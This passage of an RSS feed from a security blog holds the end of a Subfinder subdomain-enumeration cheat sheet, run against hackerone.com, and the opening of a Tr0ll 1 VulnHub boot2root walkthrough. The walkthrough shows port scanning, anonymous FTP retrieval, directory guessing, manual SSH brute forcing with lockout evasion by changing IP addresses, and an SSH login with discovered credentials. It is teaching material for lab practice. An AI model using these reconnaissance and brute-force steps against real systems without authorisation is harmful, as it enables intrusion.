      &lt;td&gt;&lt;p&gt;seconds to wait before timing out (default 30)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-max-time int&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;minutes to wait for enumeration results (default 10)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
	&lt;/tbody&gt;	  
  &lt;/table&gt;
&lt;/div&gt;

&lt;h2 id=&quot;example-subfinder-commands&quot;&gt;Example Subfinder Commands&lt;/h2&gt;

&lt;h3 id=&quot;find-subdomains-single-domain&quot;&gt;Find Subdomains Single Domain&lt;/h3&gt;

&lt;p&gt;Find subdomains for a single domain with subfinder:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;subfinder &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt; hackerone.com

               __    _____           __
   _______  __/ /_  / __&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;_&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;___  ____/ /__  _____
  / ___/ / / / __ &lt;span class=&quot;se&quot;&gt;\/&lt;/span&gt; /_/ / __ &lt;span class=&quot;se&quot;&gt;\/&lt;/span&gt; __  / _ &lt;span class=&quot;se&quot;&gt;\/&lt;/span&gt; ___/
 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;__  &lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; /_/ / /_/ / __/ / / / / /_/ /  __/ /
/____/&lt;span class=&quot;se&quot;&gt;\_&lt;/span&gt;_,_/_.___/_/ /_/_/ /_/&lt;span class=&quot;se&quot;&gt;\_&lt;/span&gt;_,_/&lt;span class=&quot;se&quot;&gt;\_&lt;/span&gt;__/_/ v2.5.1

		projectdiscovery.io

Use with caution. You are responsible &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;your actions
Developers assume no liability and are not responsible &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;any misuse or damage.
By using subfinder, you also agree to the terms of the APIs used.

&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;INF] Enumerating subdomains &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;hackerone.com
info.hackerone.com
design.hackerone.com
docs.hackerone.com
events.hackerone.com
web-seo-content-for-business.theflyingkick.websitedesignresource.api.hackerone.com
zendesk2.hackerone.com
fsdkim.hackerone.com
email.gh-mail.hackerone.com
a.ns.hackerone.com
support.hackerone.com
www.hackerone.com
mta-sts.managed.hackerone.com
api.hackerone.com
gslink.hackerone.com
zendesk1.hackerone.com
3d.hackerone.com
links.hackerone.com
mta-sts.hackerone.com
resources.hackerone.com
zendesk4.hackerone.com
zendesk3.hackerone.com
go.hackerone.com
mta-sts.forwarding.hackerone.com
_dmarc.hackerone.com
b.ns.hackerone.com
hackerone.com
defcon.hackerone.com
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;INF] Found 27 subdomains &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;hackerone.com &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;30 seconds 33 milliseconds&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;verify-subfinder-results-with-httpx&quot;&gt;Verify Subfinder Results With HTTPX&lt;/h3&gt;

&lt;p&gt;Chain up other tools within your workflow, such as verifying targets have web servers using HTTPX:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nb&quot;&gt;echo &lt;/span&gt;hackerone.com | subfinder &lt;span class=&quot;nt&quot;&gt;-silent&lt;/span&gt; | httpx &lt;span class=&quot;nt&quot;&gt;-silent&lt;/span&gt;
https://docs.hackerone.com
https://mta-sts.forwarding.hackerone.com
https://mta-sts.hackerone.com
https://mta-sts.managed.hackerone.com
http://a.ns.hackerone.com
https://www.hackerone.com
http://b.ns.hackerone.com
http://zendesk4.hackerone.com
http://fsdkim.hackerone.com
http://zendesk1.hackerone.com
http://zendesk2.hackerone.com
http://zendesk3.hackerone.com
https://hackerone.com
https://support.hackerone.com
https://resources.hackerone.com
https://gslink.hackerone.com
https://api.hackerone.com&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;subfinder--naabu-portscan&quot;&gt;Subfinder + Naabu Portscan&lt;/h3&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nb&quot;&gt;echo &lt;/span&gt;hackerone.com | subfinder &lt;span class=&quot;nt&quot;&gt;-silent&lt;/span&gt; | naabu &lt;span class=&quot;nt&quot;&gt;-silent&lt;/span&gt;
docs.hackerone.com:443
docs.hackerone.com:80
mta-sts.forwarding.hackerone.com:443
mta-sts.forwarding.hackerone.com:80
mta-sts.hackerone.com:80
mta-sts.hackerone.com:443
mta-sts.managed.hackerone.com:80
mta-sts.managed.hackerone.com:443
&amp;lt;&lt;span class=&quot;nt&quot;&gt;--SNIP--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;We hope you found this Subfinder cheat sheet useful, and it helps you get started with this powerful subdomain enumeration tool to find more assets for assessment.&lt;/p&gt;

&lt;h2 id=&quot;document-changelog&quot;&gt;Document Changelog&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Last Updated:&lt;/strong&gt; 04/06/2024 (6th of June 2024)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Author:&lt;/strong&gt; Arr0way&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Notes:&lt;/strong&gt; Checked syntax was current for latest version of Subfinder + fixed typos.&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Last Updated:&lt;/strong&gt; 12/02/2024 (12th of February 2024)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Author:&lt;/strong&gt; Dhruv Ambaliya&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Notes:&lt;/strong&gt; Checked syntax was current for latest version of Subfinder + added Subfinder API sources table.&lt;/li&gt;
&lt;/ul&gt;
</description>
        </item>
        
      
    
      
        
        <item>
          <title>Tr0ll 1 Walkthrough</title>
          <link>https://hacksofdhruv.me/blog/tr0ll-1-walkthrough/</link>
          <pubDate>Tue, 26 Dec 2023 00:12:52 +0000</pubDate>
          <dc:creator>Dhruv Ambaliya</dc:creator>
          
          <category>CTF</category>
          
          
          <category>walkthroughs</category>
          
          <guid isPermaLink="true">https://hacksofdhruv.me/blog/tr0ll-1-walkthrough/</guid>
          <description>&lt;div class=&quot;coffee-rating&quot;&gt;
&lt;table&gt;
      &lt;tbody&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;p&gt;&lt;code&gt;Difficulty Rating:&lt;/code&gt;&lt;/p&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;p&gt;&lt;i class=&quot;fa-solid fa-fire&quot;&gt;Intermediate&lt;/i&gt;&lt;/p&gt;
           &lt;/td&gt;
        &lt;/tr&gt;
      &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#remote-exploit&quot; id=&quot;markdown-toc-remote-exploit&quot;&gt;Remote Exploit&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#local-enumeration&quot; id=&quot;markdown-toc-local-enumeration&quot;&gt;Local Enumeration&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#weak-filesystem-permissions&quot; id=&quot;markdown-toc-weak-filesystem-permissions&quot;&gt;Weak Filesystem Permissions&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#enumeration-findings&quot; id=&quot;markdown-toc-enumeration-findings&quot;&gt;Enumeration Findings&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#local-privilege-escalation&quot; id=&quot;markdown-toc-local-privilege-escalation&quot;&gt;Local Privilege Escalation&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#got-root&quot; id=&quot;markdown-toc-got-root&quot;&gt;Got Root&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I thought I’d have a go at a Boot2Root over Christmas, looking through the VM’s I came accross &lt;a href=&quot;https://www.vulnhub.com/entry/tr0ll-1,100/&quot;&gt;Tr0ll: 1&lt;/a&gt; the description caught my attention:&lt;/p&gt;

&lt;p&gt;
&lt;i&gt;Tr0ll was inspired by the constant trolling of the machines within the OSCP labs.&lt;/i&gt;

&lt;i&gt;The goal is simple, gain root and get Proof.txt from the /root directory.&lt;/i&gt;

&lt;i&gt;Not for the easily frustrated! Fair warning, there be trolls ahead!&lt;/i&gt;

&lt;i&gt;Difficulty: Beginner ; Type: boot2root&lt;/i&gt;
&lt;/p&gt;

&lt;p&gt;I downloaded the VM, span it up in VMWare and got cracking.&lt;/p&gt;

&lt;p&gt;##Enumeration&lt;/p&gt;

&lt;section class=&quot;shellbox&quot;&gt;
    &lt;div class=&quot;unit golden-large code&quot;&gt;
      &lt;p class=&quot;title&quot;&gt;nmap -p 1-65535 -sV -sS -A -T4 192.168.78.140&lt;/p&gt;
      &lt;div class=&quot;shell&quot;&gt;
        &lt;p class=&quot;line&quot;&gt;
          &lt;span class=&quot;prompt&quot;&gt;root&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;path&quot;&gt;~&lt;/span&gt;&lt;span&gt;#&lt;/span&gt;
          &lt;span class=&quot;command&quot;&gt;nmap -p 1-65535 -sV -sS -A -T4 192.168.78.140&lt;/span&gt;
        &lt;/p&gt;
          &lt;span class=&quot;output&quot;&gt;&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;Starting Nmap 6.47 ( http://nmap.org ) at 2014-12-24 18:26 GMT&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;Nmap scan report for 192.168.78.140&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;Host is up (0.00035s latency).&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;Not shown: 65532 closed ports&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;PORT   STATE SERVICE VERSION &lt;br /&gt;&lt;/span&gt; 
          &lt;span class=&quot;output&quot;&gt;21/tcp open  ftp     vsftpd 3.0.2&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;| ftp-anon: Anonymous FTP login allowed (FTP code 230)&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;|_-rwxrwxrwx    1 1000     0            8068 Aug 09 23:43 lol.pcap [NSE: writeable]&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;22/tcp open  ssh     (protocol 2.0)&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;| ssh-hostkey: &lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;|   1024 d6:18:d9:ef:75:d3:1c:29:be:14:b5:2b:18:54:a9:c0 (DSA)&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;|   2048 ee:8c:64:87:44:39:53:8c:24:fe:9d:39:a9:ad:ea:db (RSA)&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;|_  256 0e:66:e6:50:cf:56:3b:9c:67:8b:5f:56:ca:ae:6b:f4 (ECDSA)&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;| http-robots.txt: 1 disallowed entry &lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;|_/secret&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;|_http-title: Site doesn&apos;t have a title (text/html).&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;SF-Port22-TCP:V=6.47%I=7%D=12/24%Time=549B054B%P=x86_64-unknown-linux-gnu%&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;SF:r(NULL,29,&quot;SSH-2\.0-OpenSSH_6\.6\.1p1\x20Ubuntu-2ubuntu2\r\n&quot;);&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;MAC Address: 00:0C:29:D9:C1:FE (VMware)&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;Device type: general purpose&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;Running: Linux 3.X&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;OS CPE: cpe:/o:linux:linux_kernel:3&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;OS details: Linux 3.11 - 3.14&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;Network Distance: 1 hop&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;Service Info: OS: Unix&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;TRACEROUTE&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;HOP RTT     ADDRESS&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;1   0.35 ms 192.168.78.140&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;Nmap done: 1 IP address (1 host up) scanned in 13.63 seconds&lt;br /&gt;&lt;/span&gt;
        &amp;lt;/p&amp;gt;
      &lt;/div&gt;
    &lt;/div&gt;
&lt;/section&gt;

&lt;p&gt;###Service Enumeration&lt;/p&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Port&lt;/th&gt;
      &lt;th&gt;Service&lt;/th&gt;
      &lt;th&gt;Version Detection&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 21&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;FTP&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;vsftpd 3.0.2&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 22&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
              &lt;pc&gt;&lt;p&gt;SSH&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;protocol 2.0&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 80&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;HTTP&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;Apache httpd 2.4.7 ((Ubuntu))&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;
      &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;p&gt;###FTP Enumeration&lt;/p&gt;

&lt;p&gt;Nmap discovered anonymous FTP was exposed on the target, I downloaded lol.pcap from ftp root:&lt;/p&gt;

&lt;section class=&quot;shellbox&quot;&gt;
    &lt;div class=&quot;unit golden-large code&quot;&gt;
      &lt;p class=&quot;title&quot;&gt;ftp lol.pcap from target&lt;/p&gt;
      &lt;div class=&quot;shell&quot;&gt;
        &lt;p class=&quot;line&quot;&gt;
          &lt;span class=&quot;prompt&quot;&gt;root&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;path&quot;&gt;~&lt;/span&gt;&lt;span&gt;#&lt;/span&gt;
          &lt;span class=&quot;command&quot;&gt;ftp 192.168.78.140&lt;/span&gt;&lt;/p&gt;
          &lt;span class=&quot;output&quot;&gt;&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;Connected to 192.168.78.140&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;220 (vsFTPd 3.0.2)&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;Name (192.168.78.140:root): anonymous&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;331 Please specify the password.&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;Password:&lt;br /&gt;&lt;/span&gt; 
          &lt;span class=&quot;output&quot;&gt;230 Login successful.&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;Remote system type is UNIX.&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;Using binary mode to transfer files.&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;ftp&amp;gt; get lol.pcap&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;local: lol.pcap remote: lol.pcap&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;200 PORT command successful. Consider using PASV.&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;150 Opening BINARY mode data connection for lol.pcap (8068 bytes).&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;226 Transfer complete.&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;8068 bytes received in 0.00 secs (1614.9 kB/s)&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;ftp&amp;gt; exit&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;221 Goodbye.&lt;br /&gt;&lt;/span&gt;
        &amp;lt;/p&amp;gt;
      &lt;/div&gt;
    &lt;/div&gt;
&lt;/section&gt;

&lt;p&gt;Examined the contents of lol.pcap in Wireshark, discovering the following message:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/tr0ll-lol.pcap.png&quot; alt=&quot;tr0ll lol.pcap&quot; /&gt;&lt;/p&gt;

&lt;p&gt;For clarity the message read:&lt;/p&gt;

&lt;p&gt;&lt;i&gt;FTP Data (Well, well, well, aren’t you just a clever little devil, you almost found the sup3rs3cr3tdirlol :-P Sucks, you were so close… gotta TRY HARDER!&lt;/i&gt;&lt;/p&gt;

&lt;p&gt;Checking for exposed serives in the previous Nmap scan we can see FTP, SSH and HTTP are exposed.&lt;/p&gt;

&lt;p&gt;A quick attempt at logging in over SSH with root with the password “sup3rs3cr3tdirlol”  - resulted in a fail (as expected).&lt;/p&gt;

&lt;p&gt;Onto the next service in the list.&lt;/p&gt;

&lt;p&gt;###HTTP Enumeration&lt;/p&gt;

&lt;section class=&quot;shellbox&quot;&gt;
    &lt;div class=&quot;unit golden-large code&quot;&gt;
      &lt;p class=&quot;title&quot;&gt;nmap --script=http-enum -p80 -n 192.168.78.140&lt;/p&gt;
      &lt;div class=&quot;shell&quot;&gt;
        &lt;p class=&quot;line&quot;&gt;
          &lt;span class=&quot;prompt&quot;&gt;root&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;path&quot;&gt;~&lt;/span&gt;&lt;span&gt;#&lt;/span&gt;
          &lt;span class=&quot;command&quot;&gt;nmap --script=http-enum -p80 -n 192.168.78.140&lt;/span&gt;&lt;/p&gt;
          &lt;span class=&quot;output&quot;&gt;&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;Starting Nmap 6.47 ( http://nmap.org ) at 2014-12-24 18:40 GMT&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;Nmap scan report for 192.168.78.140&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;Host is up (0.00046s latency).&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;PORT   STATE SERVICE&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;80/tcp open  http&lt;br /&gt;&lt;/span&gt; 
          &lt;span class=&quot;output&quot;&gt;| http-enum:&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;|   /robots.txt: Robots file&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;|_  /secret/: Potentially interesting folder&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;MAC Address: 00:0C:29:D9:C1:FE (VMware)&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;Nmap done: 1 IP address (1 host up) scanned in 0.84 seconds&lt;br /&gt;&lt;/span&gt;
        &amp;lt;/p&amp;gt;
      &lt;/div&gt;
    &lt;/div&gt;
&lt;/section&gt;

&lt;p&gt;Entering /secret/ url in the browser rendered:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/u-mad-bro-tr0ll.png&quot; alt=&quot;tr0ll U MAD BRO&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Nothing exciting was in the page source…&lt;/p&gt;

&lt;p&gt;I took a guess and entered sup3rs3cr3tdirlol as a dir:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/sup3rs3cr3tdirlol.png&quot; alt=&quot;tr0ll sup3rs3cr3tdirlol&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Lucked in! But it didn’t contain this:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/kirk-rofl.gif&quot; alt=&quot;tr0ll Pass.txt&quot; /&gt;&lt;/p&gt;

&lt;p&gt;strings output for “roflmao”:&lt;/p&gt;

&lt;section class=&quot;shellbox&quot;&gt;
    &lt;div class=&quot;unit golden-large code&quot;&gt;
      &lt;p class=&quot;title&quot;&gt;strings ~/Downloads/roflmao&lt;/p&gt;
      &lt;div class=&quot;shell&quot;&gt;
        &lt;p class=&quot;line&quot;&gt;
          &lt;span class=&quot;prompt&quot;&gt;root&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;path&quot;&gt;~&lt;/span&gt;&lt;span&gt;#&lt;/span&gt;
          &lt;span class=&quot;command&quot;&gt;strings ~/Downloads/roflmao&lt;/span&gt;&lt;/p&gt;
          &lt;span class=&quot;output&quot;&gt;&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;lib/ld-linux.so.2&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;libc.so.6&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;_IO_stdin_used&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;printf&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;__libc_start_main&lt;br /&gt;&lt;/span&gt; 
          &lt;span class=&quot;output&quot;&gt;__gmon_start__&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;GLIBC_2.0&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;PTRh&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;[^_]&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;Find address 0x0856BF to proceed&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;;*2$&quot;&lt;br /&gt;&lt;/span&gt;
        &amp;lt;/p&amp;gt;
      &lt;/div&gt;
    &lt;/div&gt;
&lt;/section&gt;

&lt;p&gt;The binary appeared to just print “0x0856BF”, I entered this in the browser again - not expecting it to work.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/which_one_lol.txt.png&quot; alt=&quot;tr0ll which on lol&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I lucked in again!&lt;/p&gt;

&lt;p&gt;Another dir contained:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/pass.txt.png&quot; alt=&quot;tr0ll Pass.txt&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Containing:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;Good_job_:&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;##SSH Brute Force&lt;/p&gt;

&lt;p&gt;I manually attempted a SSH brute force using the previously discovered usernames + password from Pass.txt. After several attempts the connection was refused via SSH, rebooting the target VM did not help - I suspected iptables, fail2ban / DenyHosts.&lt;/p&gt;

&lt;p&gt;Changing the attacking machines IP address allowed me to reconnect, none of the usernames authenticated with the password in Pass.txt.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/picard-puff.gif&quot; alt=&quot;Picard Puff&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Not sure what to do next, I tried the file name as the password against the previous list (annoyingly I had to change the target machines IP address again to complete).&lt;/p&gt;

&lt;h3 id=&quot;remote-exploit&quot;&gt;Remote Exploit&lt;/h3&gt;

&lt;p&gt;Success, I managed to authenticate using:&lt;/p&gt;

&lt;div class=&quot;mobile-side-scroller&quot; style=&quot;width:50%;&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Username&lt;/th&gt;
      &lt;th&gt;Password&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;overflow&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;Pass.txt&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;
      &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;section class=&quot;shellbox&quot;&gt;
    &lt;div class=&quot;unit golden-large code&quot;&gt;
      &lt;p class=&quot;title&quot;&gt;ssh overflow@192.168.78.140&lt;/p&gt;
      &lt;div class=&quot;shell&quot;&gt;
        &lt;p class=&quot;line&quot;&gt;
          &lt;span class=&quot;prompt&quot;&gt;root&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;path&quot;&gt;~&lt;/span&gt;&lt;span&gt;#&lt;/span&gt;
          &lt;span class=&quot;command&quot;&gt;ssh overflow@192.168.78.140&lt;/span&gt;&lt;/p&gt;
          &lt;span class=&quot;output&quot;&gt;&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;Welcome to Ubuntu 14.04.1 LTS (GNU/Linux 3.13.0-32-generic i686)&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;&lt;br /&gt;&lt;/span&gt;
		  &lt;span class=&quot;output&quot;&gt;* Documentation:  https://help.ubuntu.com/&lt;br /&gt;&lt;/span&gt;
		  &lt;span class=&quot;output&quot;&gt;&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.&lt;br /&gt;&lt;/span&gt;
		  &lt;span class=&quot;output&quot;&gt;&lt;br /&gt;&lt;/span&gt;
          &lt;span class=&quot;output&quot;&gt;Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.&lt;br /&gt;&lt;/span&gt;
		  &lt;span class=&quot;output&quot;&gt;&lt;br /&gt;&lt;/span&gt;
